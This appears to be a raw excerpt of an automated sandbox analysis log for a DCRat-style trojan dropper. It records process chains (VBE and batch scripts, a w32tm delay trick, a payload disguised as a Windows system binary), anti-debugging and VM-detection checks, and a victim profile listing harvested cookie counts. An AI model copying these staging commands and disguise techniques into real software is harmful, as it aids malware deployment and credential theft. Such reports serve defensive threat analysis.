Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582578
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582467
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582339
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582222
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Thread delayed: delay time: 582094

Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: 5GG.exe, 00000001.00000003.1665001627.00000145A1926000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: DCRatBuild.exe, 00000002.00000003.1670918318.000000000317E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: hyperServer.exe, 00000006.00000002.1853139431.000000001B744000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: w32tm.exe, 0000001B.00000002.1865897963.000001F137448000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlln
Source: 5GG.exe, 00000029.00000003.2443524611.000002ACF3E6E000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000003.00000003.1723713454.0000000002E99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\+
Source: hyperServer.exe, 00000006.00000002.1853139431.000000001B729000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: TextInputHost.exe, 00000024.00000002.2885130589.0000000001628000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

API call chain: ExitProcess graph end node

graph_2-23908

Source: C:\MsComponentSvc\hyperServer.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5GG.exe

Code function: 1_2_00007FF7E54AC57C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00007FF7E54AC57C

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 2_2_00897DEE mov eax, dword ptr fs:[00000030h]

2_2_00897DEE

Source: C:\Users\user\AppData\Local\Temp\5GG.exe

Code function: 1_2_00007FF7E54C3AF0 GetProcessHeap,

1_2_00007FF7E54C3AF0

Source: C:\MsComponentSvc\hyperServer.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process token adjusted: Debug
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Process token adjusted: Debug
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process token adjusted: Debug
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Process token adjusted: Debug
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54AC57C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF7E54AC57C
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54AC760 SetUnhandledExceptionFilter,	1_2_00007FF7E54AC760
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54ABCE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF7E54ABCE0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 1_2_00007FF7E54BABD8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF7E54BABD8
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0088F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0088F838
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0088F9D5 SetUnhandledExceptionFilter,	2_2_0088F9D5
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0088FBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0088FBCA
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_00898EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00898EBD
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF3A930E8 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	41_2_00007FFDF3A930E8
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF3A92B20 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	41_2_00007FFDF3A92B20

Source: C:\MsComponentSvc\hyperServer.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Process created: C:\Users\user\AppData\Local\Temp\5GG.exe "C:\Users\user\AppData\Local\Temp\5GG.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Process created: C:\Users\user\AppData\Local\Temp\5GG.exe "C:\Users\user\AppData\Local\Temp\5GG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\MsComponentSvc\iCCQMR7GwXROBsRyIwP9QWJjFoH56nLwwSlxVmAvIip.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\MsComponentSvc\MXgWX4.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\MsComponentSvc\hyperServer.exe "C:\MsComponentSvc/hyperServer.exe"	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\L5wEVj25hO.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\apppatch\AppPatch64\TextInputHost.exe "C:\Windows\apppatch\AppPatch64\TextInputHost.exe"
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "ver"

Source: TextInputHost.exe, 00000024.00000002.2889594930.0000000003804000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.3043195682.000000001CBFE000.00000004.00000020.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2889594930.0000000003662000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: TextInputHost.exe, 00000024.00000002.2889594930.0000000003A3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.4",5,1,"","user","818225","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Windows\\apppatch\\AppPatch64","NF14VBS (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","102.129.152.231","US / United States","Florida / Miami"H
Source: TextInputHost.exe, 00000024.00000002.2889594930.0000000003A3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 0.4",5,1,"","user","818225","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Windows\\apppatch\\AppPatch64","NF14VBS (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","102.129.152.231","US / United S
Source: TextInputHost.exe, 00000024.00000002.2889594930.0000000003A3E000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2889594930.00000000038EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@R<
Source: TextInputHost.exe, 00000024.00000002.2889594930.0000000003A3E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`
Source: TextInputHost.exe, 00000024.00000002.2889594930.0000000003A3E000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2889594930.00000000038EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.4",5,1,"","user","818225","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Windows\\apppatch\\AppPatch64","NF14VBS (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","102.129.152.231","US / United States","Florida / Miami","25.7689 / -80.1946"]

Source: C:\Users\user\AppData\Local\Temp\5GG.exe

Code function: 1_2_00007FF7E54C9E40 cpuid

1_2_00007FF7E54C9E40

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

2_2_0088AF0F

Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\PIL VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\certifi VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets\icons VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets\themes VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\programms VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\regedit VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\regedit VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\regedit VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\regedit VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\regedit VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl8 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl8\8.4 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl8\8.5 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl8 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\encoding VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\http1.0 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs VolumeInformation	Jump to behavior
